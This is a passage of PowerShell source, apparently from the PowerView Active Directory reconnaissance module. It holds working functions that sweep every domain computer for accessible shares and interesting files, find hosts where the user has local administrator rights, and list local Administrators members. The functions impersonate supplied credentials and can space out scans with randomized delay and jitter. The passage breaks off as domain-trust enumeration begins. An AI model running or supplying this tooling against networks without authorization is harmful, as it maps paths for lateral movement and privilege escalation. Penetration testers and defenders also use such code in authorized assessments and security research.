18259 # get the shares for this host and display what we find
18260 $Shares = Get-NetShare -ComputerName $TargetComputer
18261 ForEach ($Share in $Shares) {
18262 $ShareName = $Share.Name
18263 $Path = '\\'+$TargetComputer+'\'+$ShareName
18264 # make sure we get a real share name back
18265 if (($ShareName) -and ($ShareName.Trim() -ne '')) {
18266 # skip this share if it's in the exclude list
18267 if ($ExcludedShares -NotContains $ShareName) {
18268 # check if the user has access to this path
18269 try {
18270 $Null = [IO.Directory]::GetFiles($Path)
18271 $SearchShares += $Path
18272 }
18273 catch {
18274 Write-Verbose "[!] No access to $Path"
18275 }
18276 }
18277 }
18278 }
18279 }
18280 }
18281
18282 ForEach ($Share in $SearchShares) {
18283 Write-Verbose "Searching share: $Share"
18284 $SearchArgs = @{
18285 'Path' = $Share
18286 'Include' = $Include
18287 }
18288 if ($OfficeDocs) {
18289 $SearchArgs['OfficeDocs'] = $OfficeDocs
18290 }
18291 if ($FreshEXEs) {
18292 $SearchArgs['FreshEXEs'] = $FreshEXEs
18293 }
18294 if ($LastAccessTime) {
18295 $SearchArgs['LastAccessTime'] = $LastAccessTime
18296 }
18297 if ($LastWriteTime) {
18298 $SearchArgs['LastWriteTime'] = $LastWriteTime
18299 }
18300 if ($CreationTime) {
18301 $SearchArgs['CreationTime'] = $CreationTime
18302 }
18303 if ($CheckWriteAccess) {
18304 $SearchArgs['CheckWriteAccess'] = $CheckWriteAccess
18305 }
18306 Find-InterestingFile @SearchArgs
18307 }
18308 }
18309
18310 if ($TokenHandle) {
18311 Invoke-RevertToSelf
18312 }
18313 }
18314
18315 $LogonToken = $Null
18316 if ($PSBoundParameters['Credential']) {
18317 if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
18318 $LogonToken = Invoke-UserImpersonation -Credential $Credential
18319 }
18320 else {
18321 $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
18322 }
18323 }
18324 }
18325
18326 PROCESS {
18327 # only ignore threading if -Delay is passed
18328 if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
18329
18330 Write-Verbose "[Find-InterestingDomainShareFile] Total number of hosts: $($TargetComputers.count)"
18331 Write-Verbose "[Find-InterestingDomainShareFile] Delay: $Delay, Jitter: $Jitter"
18332 $Counter = 0
18333 $RandNo = New-Object System.Random
18334
18335 ForEach ($TargetComputer in $TargetComputers) {
18336 $Counter = $Counter + 1
18337
18338 # sleep for our semi-randomized interval
18339 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
18340
18341 Write-Verbose "[Find-InterestingDomainShareFile] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
18342 Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $Include, $ExcludedShares, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $LogonToken
18343 }
18344 }
18345 else {
18346 Write-Verbose "[Find-InterestingDomainShareFile] Using threading with threads: $Threads"
18347
18348 # if we're using threading, kick off the script block with New-ThreadedFunction
18349 $ScriptParams = @{
18350 'Include' = $Include
18351 'ExcludedShares' = $ExcludedShares
18352 'OfficeDocs' = $OfficeDocs
18353 'ExcludeHidden' = $ExcludeHidden
18354 'FreshEXEs' = $FreshEXEs
18355 'CheckWriteAccess' = $CheckWriteAccess
18356 'TokenHandle' = $LogonToken
18357 }
18358
18359 # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
18360 New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
18361 }
18362 }
18363
18364 END {
18365 if ($LogonToken) {
18366 Invoke-RevertToSelf -TokenHandle $LogonToken
18367 }
18368 }
18369}
18370
18371
18372function Find-LocalAdminAccess {
18373<#
18374.SYNOPSIS
18375
18376Finds machines on the local domain where the current user has local administrator access.
18377
18378Author: Will Schroeder (@harmj0y)
18379License: BSD 3-Clause
18380Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Test-AdminAccess, New-ThreadedFunction
18381
18382.DESCRIPTION
18383
18384This function enumerates all machines on the current (or specified) domain
18385using Get-DomainComputer, and for each computer it checks if the current user
18386has local administrator access using Test-AdminAccess. If -Credential is passed,
18387then Invoke-UserImpersonation is used to impersonate the specified user
18388before enumeration, reverting after with Invoke-RevertToSelf.
18389
18390Idea adapted from the local_admin_search_enum post module in Metasploit written by:
18391 'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
18392 'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>'
18393 'Royce Davis "r3dy" <rdavis[at]accuvant.com>'
18394
18395.PARAMETER ComputerName
18396
18397Specifies an array of one or more hosts to enumerate, passable on the pipeline.
18398If -ComputerName is not passed, the default behavior is to enumerate all machines
18399in the domain returned by Get-DomainComputer.
18400
18401.PARAMETER ComputerDomain
18402
18403Specifies the domain to query for computers, defaults to the current domain.
18404
18405.PARAMETER ComputerLDAPFilter
18406
18407Specifies an LDAP query string that is used to search for computer objects.
18408
18409.PARAMETER ComputerSearchBase
18410
18411Specifies the LDAP source to search through for computers,
18412e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
18413
18414.PARAMETER ComputerOperatingSystem
18415
18416Search computers with a specific operating system, wildcards accepted.
18417
18418.PARAMETER ComputerServicePack
18419
18420Search computers with a specific service pack, wildcards accepted.
18421
18422.PARAMETER ComputerSiteName
18423
18424Search computers in the specific AD Site name, wildcards accepted.
18425
18426.PARAMETER CheckShareAccess
18427
18428Switch. Only display found shares that the local user has access to.
18429
18430.PARAMETER Server
18431
18432Specifies an Active Directory server (domain controller) to bind to.
18433
18434.PARAMETER SearchScope
18435
18436Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
18437
18438.PARAMETER ResultPageSize
18439
18440Specifies the PageSize to set for the LDAP searcher object.
18441
18442.PARAMETER ServerTimeLimit
18443
18444Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
18445
18446.PARAMETER Tombstone
18447
18448Switch. Specifies that the searcher should also return deleted/tombstoned objects.
18449
18450.PARAMETER Credential
18451
18452A [Management.Automation.PSCredential] object of alternate credentials
18453for connection to the target domain and target systems.
18454
18455.PARAMETER Delay
18456
18457Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
18458
18459.PARAMETER Jitter
18460
18461Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
18462
18463.PARAMETER Threads
18464
18465The number of threads to use for user searching, defaults to 20.
18466
18467.EXAMPLE
18468
18469Find-LocalAdminAccess
18470
18471Finds machines in the current domain the current user has admin access to.
18472
18473.EXAMPLE
18474
18475Find-LocalAdminAccess -Domain dev.testlab.local
18476
18477Finds machines in the dev.testlab.local domain the current user has admin access to.
18478
18479.EXAMPLE
18480
18481$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
18482$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
18483Find-LocalAdminAccess -Domain testlab.local -Credential $Cred
18484
18485Finds machines in the testlab.local domain that the user with the specified -Credential
18486has admin access to.
18487
18488.OUTPUTS
18489
18490String
18491
18492Computer dnshostnames the current user has administrative access to.
18493#>
18494
18495 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
18496 [OutputType([String])]
18497 Param(
18498 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
18499 [Alias('DNSHostName')]
18500 [String[]]
18501 $ComputerName,
18502
18503 [ValidateNotNullOrEmpty()]
18504 [String]
18505 $ComputerDomain,
18506
18507 [ValidateNotNullOrEmpty()]
18508 [String]
18509 $ComputerLDAPFilter,
18510
18511 [ValidateNotNullOrEmpty()]
18512 [String]
18513 $ComputerSearchBase,
18514
18515 [ValidateNotNullOrEmpty()]
18516 [Alias('OperatingSystem')]
18517 [String]
18518 $ComputerOperatingSystem,
18519
18520 [ValidateNotNullOrEmpty()]
18521 [Alias('ServicePack')]
18522 [String]
18523 $ComputerServicePack,
18524
18525 [ValidateNotNullOrEmpty()]
18526 [Alias('SiteName')]
18527 [String]
18528 $ComputerSiteName,
18529
18530 [Switch]
18531 $CheckShareAccess,
18532
18533 [ValidateNotNullOrEmpty()]
18534 [Alias('DomainController')]
18535 [String]
18536 $Server,
18537
18538 [ValidateSet('Base', 'OneLevel', 'Subtree')]
18539 [String]
18540 $SearchScope = 'Subtree',
18541
18542 [ValidateRange(1, 10000)]
18543 [Int]
18544 $ResultPageSize = 200,
18545
18546 [ValidateRange(1, 10000)]
18547 [Int]
18548 $ServerTimeLimit,
18549
18550 [Switch]
18551 $Tombstone,
18552
18553 [Management.Automation.PSCredential]
18554 [Management.Automation.CredentialAttribute()]
18555 $Credential = [Management.Automation.PSCredential]::Empty,
18556
18557 [ValidateRange(1, 10000)]
18558 [Int]
18559 $Delay = 0,
18560
18561 [ValidateRange(0.0, 1.0)]
18562 [Double]
18563 $Jitter = .3,
18564
18565 [Int]
18566 [ValidateRange(1, 100)]
18567 $Threads = 20
18568 )
18569
18570 BEGIN {
18571 $ComputerSearcherArguments = @{
18572 'Properties' = 'dnshostname'
18573 }
18574 if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
18575 if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
18576 if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
18577 if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
18578 if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
18579 if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
18580 if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
18581 if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
18582 if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
18583 if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
18584 if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
18585 if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
18586 if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
18587
18588 if ($PSBoundParameters['ComputerName']) {
18589 $TargetComputers = $ComputerName
18590 }
18591 else {
18592 Write-Verbose '[Find-LocalAdminAccess] Querying computers in the domain'
18593 $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
18594 }
18595 Write-Verbose "[Find-LocalAdminAccess] TargetComputers length: $($TargetComputers.Length)"
18596 if ($TargetComputers.Length -eq 0) {
18597 throw '[Find-LocalAdminAccess] No hosts found to enumerate'
18598 }
18599
18600 # the host enumeration block we're using to enumerate all servers
18601 $HostEnumBlock = {
18602 Param($ComputerName, $TokenHandle)
18603
18604 if ($TokenHandle) {
18605 # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
18606 $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
18607 }
18608
18609 ForEach ($TargetComputer in $ComputerName) {
18610 $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
18611 if ($Up) {
18612 # check if the current user has local admin access to this server
18613 $Access = Test-AdminAccess -ComputerName $TargetComputer
18614 if ($Access.IsAdmin) {
18615 $TargetComputer
18616 }
18617 }
18618 }
18619
18620 if ($TokenHandle) {
18621 Invoke-RevertToSelf
18622 }
18623 }
18624
18625 $LogonToken = $Null
18626 if ($PSBoundParameters['Credential']) {
18627 if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
18628 $LogonToken = Invoke-UserImpersonation -Credential $Credential
18629 }
18630 else {
18631 $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
18632 }
18633 }
18634 }
18635
18636 PROCESS {
18637 # only ignore threading if -Delay is passed
18638 if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
18639
18640 Write-Verbose "[Find-LocalAdminAccess] Total number of hosts: $($TargetComputers.count)"
18641 Write-Verbose "[Find-LocalAdminAccess] Delay: $Delay, Jitter: $Jitter"
18642 $Counter = 0
18643 $RandNo = New-Object System.Random
18644
18645 ForEach ($TargetComputer in $TargetComputers) {
18646 $Counter = $Counter + 1
18647
18648 # sleep for our semi-randomized interval
18649 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
18650
18651 Write-Verbose "[Find-LocalAdminAccess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
18652 Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $LogonToken
18653 }
18654 }
18655 else {
18656 Write-Verbose "[Find-LocalAdminAccess] Using threading with threads: $Threads"
18657
18658 # if we're using threading, kick off the script block with New-ThreadedFunction
18659 $ScriptParams = @{
18660 'TokenHandle' = $LogonToken
18661 }
18662
18663 # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
18664 New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
18665 }
18666 }
18667}
18668
18669
18670function Find-DomainLocalGroupMember {
18671<#
18672.SYNOPSIS
18673
18674Enumerates the members of specified local group (default administrators)
18675for all the targeted machines on the current (or specified) domain.
18676
18677Author: Will Schroeder (@harmj0y)
18678License: BSD 3-Clause
18679Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetLocalGroupMember, New-ThreadedFunction
18680
18681.DESCRIPTION
18682
18683This function enumerates all machines on the current (or specified) domain
18684using Get-DomainComputer, and enumerates the members of the specified local
18685group (default of Administrators) for each machine using Get-NetLocalGroupMember.
18686By default, the API method is used, but this can be modified with '-Method winnt'
18687to use the WinNT service provider.
18688
18689.PARAMETER ComputerName
18690
18691Specifies an array of one or more hosts to enumerate, passable on the pipeline.
18692If -ComputerName is not passed, the default behavior is to enumerate all machines
18693in the domain returned by Get-DomainComputer.
18694
18695.PARAMETER ComputerDomain
18696
18697Specifies the domain to query for computers, defaults to the current domain.
18698
18699.PARAMETER ComputerLDAPFilter
18700
18701Specifies an LDAP query string that is used to search for computer objects.
18702
18703.PARAMETER ComputerSearchBase
18704
18705Specifies the LDAP source to search through for computers,
18706e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
18707
18708.PARAMETER ComputerOperatingSystem
18709
18710Search computers with a specific operating system, wildcards accepted.
18711
18712.PARAMETER ComputerServicePack
18713
18714Search computers with a specific service pack, wildcards accepted.
18715
18716.PARAMETER ComputerSiteName
18717
18718Search computers in the specific AD Site name, wildcards accepted.
18719
18720.PARAMETER GroupName
18721
18722The local group name to query for users. If not given, it defaults to "Administrators".
18723
18724.PARAMETER Method
18725
18726The collection method to use, defaults to 'API', also accepts 'WinNT'.
18727
18728.PARAMETER Server
18729
18730Specifies an Active Directory server (domain controller) to bind to.
18731
18732.PARAMETER SearchScope
18733
18734Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
18735
18736.PARAMETER ResultPageSize
18737
18738Specifies the PageSize to set for the LDAP searcher object.
18739
18740.PARAMETER ServerTimeLimit
18741
18742Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
18743
18744.PARAMETER Tombstone
18745
18746Switch. Specifies that the searcher should also return deleted/tombstoned objects.
18747
18748.PARAMETER Credential
18749
18750A [Management.Automation.PSCredential] object of alternate credentials
18751for connection to the target domain and target systems.
18752
18753.PARAMETER Delay
18754
18755Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
18756
18757.PARAMETER Jitter
18758
18759Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
18760
18761.PARAMETER Threads
18762
18763The number of threads to use for user searching, defaults to 20.
18764
18765.EXAMPLE
18766
18767Find-DomainLocalGroupMember
18768
18769Enumerates the local group memberships for all reachable machines in the current domain.
18770
18771.EXAMPLE
18772
18773Find-DomainLocalGroupMember -Domain dev.testlab.local
18774
18775Enumerates the local group memberships for all reachable machines the dev.testlab.local domain.
18776
18777.EXAMPLE
18778
18779$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
18780$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
18781Find-DomainLocalGroupMember -Domain testlab.local -Credential $Cred
18782
18783Enumerates the local group memberships for all reachable machines the dev.testlab.local
18784domain using the alternate credentials.
18785
18786.OUTPUTS
18787
18788PowerView.LocalGroupMember.API
18789
18790Custom PSObject with translated group property fields from API results.
18791
18792PowerView.LocalGroupMember.WinNT
18793
18794Custom PSObject with translated group property fields from WinNT results.
18795#>
18796
18797 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
18798 [OutputType('PowerView.LocalGroupMember.API')]
18799 [OutputType('PowerView.LocalGroupMember.WinNT')]
18800 Param(
18801 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
18802 [Alias('DNSHostName')]
18803 [String[]]
18804 $ComputerName,
18805
18806 [ValidateNotNullOrEmpty()]
18807 [String]
18808 $ComputerDomain,
18809
18810 [ValidateNotNullOrEmpty()]
18811 [String]
18812 $ComputerLDAPFilter,
18813
18814 [ValidateNotNullOrEmpty()]
18815 [String]
18816 $ComputerSearchBase,
18817
18818 [ValidateNotNullOrEmpty()]
18819 [Alias('OperatingSystem')]
18820 [String]
18821 $ComputerOperatingSystem,
18822
18823 [ValidateNotNullOrEmpty()]
18824 [Alias('ServicePack')]
18825 [String]
18826 $ComputerServicePack,
18827
18828 [ValidateNotNullOrEmpty()]
18829 [Alias('SiteName')]
18830 [String]
18831 $ComputerSiteName,
18832
18833 [Parameter(ValueFromPipelineByPropertyName = $True)]
18834 [ValidateNotNullOrEmpty()]
18835 [String]
18836 $GroupName = 'Administrators',
18837
18838 [ValidateSet('API', 'WinNT')]
18839 [Alias('CollectionMethod')]
18840 [String]
18841 $Method = 'API',
18842
18843 [ValidateNotNullOrEmpty()]
18844 [Alias('DomainController')]
18845 [String]
18846 $Server,
18847
18848 [ValidateSet('Base', 'OneLevel', 'Subtree')]
18849 [String]
18850 $SearchScope = 'Subtree',
18851
18852 [ValidateRange(1, 10000)]
18853 [Int]
18854 $ResultPageSize = 200,
18855
18856 [ValidateRange(1, 10000)]
18857 [Int]
18858 $ServerTimeLimit,
18859
18860 [Switch]
18861 $Tombstone,
18862
18863 [Management.Automation.PSCredential]
18864 [Management.Automation.CredentialAttribute()]
18865 $Credential = [Management.Automation.PSCredential]::Empty,
18866
18867 [ValidateRange(1, 10000)]
18868 [Int]
18869 $Delay = 0,
18870
18871 [ValidateRange(0.0, 1.0)]
18872 [Double]
18873 $Jitter = .3,
18874
18875 [Int]
18876 [ValidateRange(1, 100)]
18877 $Threads = 20
18878 )
18879
18880 BEGIN {
18881 $ComputerSearcherArguments = @{
18882 'Properties' = 'dnshostname'
18883 }
18884 if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
18885 if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
18886 if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
18887 if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
18888 if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
18889 if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
18890 if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
18891 if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
18892 if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
18893 if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
18894 if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
18895 if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
18896 if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
18897
18898 if ($PSBoundParameters['ComputerName']) {
18899 $TargetComputers = $ComputerName
18900 }
18901 else {
18902 Write-Verbose '[Find-DomainLocalGroupMember] Querying computers in the domain'
18903 $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
18904 }
18905 Write-Verbose "[Find-DomainLocalGroupMember] TargetComputers length: $($TargetComputers.Length)"
18906 if ($TargetComputers.Length -eq 0) {
18907 throw '[Find-DomainLocalGroupMember] No hosts found to enumerate'
18908 }
18909
18910 # the host enumeration block we're using to enumerate all servers
18911 $HostEnumBlock = {
18912 Param($ComputerName, $GroupName, $Method, $TokenHandle)
18913
18914 if ($TokenHandle) {
18915 # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
18916 $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
18917 }
18918
18919 ForEach ($TargetComputer in $ComputerName) {
18920 $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
18921 if ($Up) {
18922 $NetLocalGroupMemberArguments = @{
18923 'ComputerName' = $TargetComputer
18924 'Method' = $Method
18925 'GroupName' = $GroupName
18926 }
18927 Get-NetLocalGroupMember @NetLocalGroupMemberArguments
18928 }
18929 }
18930
18931 if ($TokenHandle) {
18932 Invoke-RevertToSelf
18933 }
18934 }
18935
18936 $LogonToken = $Null
18937 if ($PSBoundParameters['Credential']) {
18938 if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
18939 $LogonToken = Invoke-UserImpersonation -Credential $Credential
18940 }
18941 else {
18942 $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
18943 }
18944 }
18945 }
18946
18947 PROCESS {
18948 # only ignore threading if -Delay is passed
18949 if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
18950
18951 Write-Verbose "[Find-DomainLocalGroupMember] Total number of hosts: $($TargetComputers.count)"
18952 Write-Verbose "[Find-DomainLocalGroupMember] Delay: $Delay, Jitter: $Jitter"
18953 $Counter = 0
18954 $RandNo = New-Object System.Random
18955
18956 ForEach ($TargetComputer in $TargetComputers) {
18957 $Counter = $Counter + 1
18958
18959 # sleep for our semi-randomized interval
18960 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
18961
18962 Write-Verbose "[Find-DomainLocalGroupMember] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
18963 Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $GroupName, $Method, $LogonToken
18964 }
18965 }
18966 else {
18967 Write-Verbose "[Find-DomainLocalGroupMember] Using threading with threads: $Threads"
18968
18969 # if we're using threading, kick off the script block with New-ThreadedFunction
18970 $ScriptParams = @{
18971 'GroupName' = $GroupName
18972 'Method' = $Method
18973 'TokenHandle' = $LogonToken
18974 }
18975
18976 # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
18977 New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
18978 }
18979 }
18980
18981 END {
18982 if ($LogonToken) {
18983 Invoke-RevertToSelf -TokenHandle $LogonToken
18984 }
18985 }
18986}
18987
18988
18989########################################################
18990#
18991# Domain trust functions below.
18992#
18993########################################################
18994
18995function Get-DomainTrust {
18996<#
18997.SYNOPSIS
18998
18999Return all domain trusts for the current domain or a specified domain.
19000
19001Author: Will Schroeder (@harmj0y)
19002License: BSD 3-Clause
19003Required Dependencies: Get-Domain, Get-DomainSearcher, Get-DomainSID, PSReflect
19004
19005.DESCRIPTION
19006
19007This function will enumerate domain trust relationships for the current (or a remote)
19008domain using a number of methods. By default, the .NET method GetAllTrustRelationships()
19009is used on the System.DirectoryServices.ActiveDirectory.Domain object. If the -LDAP flag
19010is specified, or any of the LDAP-appropriate parameters, an LDAP search using the filter
19011'(objectClass=trustedDomain)' is used instead. If the -API flag is specified, the
19012Win32 API DsEnumerateDomainTrusts() call is used to enumerate instead.
19013
19014.PARAMETER Domain
19015
19016Specifies the domain to query for trusts, defaults to the current domain.
19017
19018.PARAMETER API
19019
19020Switch. Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts instead of the built-in
19021.NET methods.
19022
19023.PARAMETER LDAP
19024
19025Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections.
19026
19027.PARAMETER LDAPFilter
19028
19029Specifies an LDAP query string that is used to filter Active Directory objects.
19030
19031.PARAMETER Properties
19032
19033Specifies the properties of the output object to retrieve from the server.
19034
19035.PARAMETER SearchBase
19036
19037The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
19038Useful for OU queries.
19039
19040.PARAMETER Server
19041
19042Specifies an Active Directory server (domain controller) to bind to.
19043
19044.PARAMETER SearchScope
19045
19046Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
19047
19048.PARAMETER ResultPageSize
19049
19050Specifies the PageSize to set for the LDAP searcher object.
19051
19052.PARAMETER ServerTimeLimit
19053
19054Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
19055
19056.PARAMETER Tombstone
19057
19058Switch. Specifies that the searcher should also return deleted/tombstoned objects.
19059
19060.PARAMETER FindOne
19061
19062Only return one result object.
19063
19064.PARAMETER Credential
19065
19066A [Management.Automation.PSCredential] object of alternate credentials
19067for connection to the target domain.
19068
19069.EXAMPLE
19070
19071Get-DomainTrust
19072
19073Return domain trusts for the current domain using built in .NET methods.
19074
19075.EXAMPLE
19076
19077Get-DomainTrust -Domain "prod.testlab.local"
19078
19079Return domain trusts for the "prod.testlab.local" domain using .NET methods
19080
19081.EXAMPLE
19082
19083$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
19084$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
19085Get-DomainTrust -LDAP -Domain "prod.testlab.local" -Server "PRIMARY.testlab.local" -Credential $Cred
19086
19087Return domain trusts for the "prod.testlab.local" domain enumerated through LDAP
19088queries, binding to the PRIMARY.testlab.local server for queries, and using the specified
19089alternate credenitals.
19090
19091.EXAMPLE
19092
19093Get-DomainTrust -API -Domain "prod.testlab.local"
19094
19095Return domain trusts for the "prod.testlab.local" domain enumerated through API calls.
19096
19097.OUTPUTS
19098
19099PowerView.DomainTrust.NET
19100
19101A TrustRelationshipInformationCollection returned when using .NET methods (default).
19102
19103PowerView.DomainTrust.LDAP
19104
19105Custom PSObject with translated domain LDAP trust result fields.
19106
19107PowerView.DomainTrust.API
19108
19109Custom PSObject with translated domain API trust result fields.
19110#>
19111
19112 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
19113 [OutputType('PowerView.DomainTrust.NET')]
19114 [OutputType('PowerView.DomainTrust.LDAP')]
19115 [OutputType('PowerView.DomainTrust.API')]
19116 [CmdletBinding(DefaultParameterSetName = 'NET')]
19117 Param(
19118 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
19119 [Alias('Name')]
19120 [ValidateNotNullOrEmpty()]
19121 [String]
19122 $Domain,
19123
19124 [Parameter(ParameterSetName = 'API')]
19125 [Switch]
19126 $API,
19127
19128 [Parameter(ParameterSetName = 'LDAP')]
19129 [Switch]
19130 $LDAP,
19131
19132 [Parameter(ParameterSetName = 'LDAP')]
19133 [ValidateNotNullOrEmpty()]
19134 [Alias('Filter')]
19135 [String]
19136 $LDAPFilter,
19137
19138 [Parameter(ParameterSetName = 'LDAP')]
19139 [ValidateNotNullOrEmpty()]
19140 [String[]]
19141 $Properties,
19142
19143 [Parameter(ParameterSetName = 'LDAP')]
19144 [ValidateNotNullOrEmpty()]
19145 [Alias('ADSPath')]
19146 [String]
19147 $SearchBase,
19148
19149 [Parameter(ParameterSetName = 'LDAP')]
19150 [Parameter(ParameterSetName = 'API')]
19151 [ValidateNotNullOrEmpty()]
19152 [Alias('DomainController')]
19153 [String]
19154 $Server,
19155
19156 [Parameter(ParameterSetName = 'LDAP')]
19157 [ValidateSet('Base', 'OneLevel', 'Subtree')]
19158 [String]
19159 $SearchScope = 'Subtree',
19160
19161 [Parameter(ParameterSetName = 'LDAP')]
19162 [ValidateRange(1, 10000)]
19163 [Int]
19164 $ResultPageSize = 200,
19165
19166 [Parameter(ParameterSetName = 'LDAP')]
19167 [ValidateRange(1, 10000)]
19168 [Int]
19169 $ServerTimeLimit,
19170
19171 [Parameter(ParameterSetName = 'LDAP')]
19172 [Switch]
19173 $Tombstone,
19174
19175 [Alias('ReturnOne')]
19176 [Switch]
19177 $FindOne,
19178
19179 [Parameter(ParameterSetName = 'LDAP')]
19180 [Management.Automation.PSCredential]
19181 [Management.Automation.CredentialAttribute()]
19182 $Credential = [Management.Automation.PSCredential]::Empty
19183 )
19184
19185 BEGIN {
19186 $TrustAttributes = @{
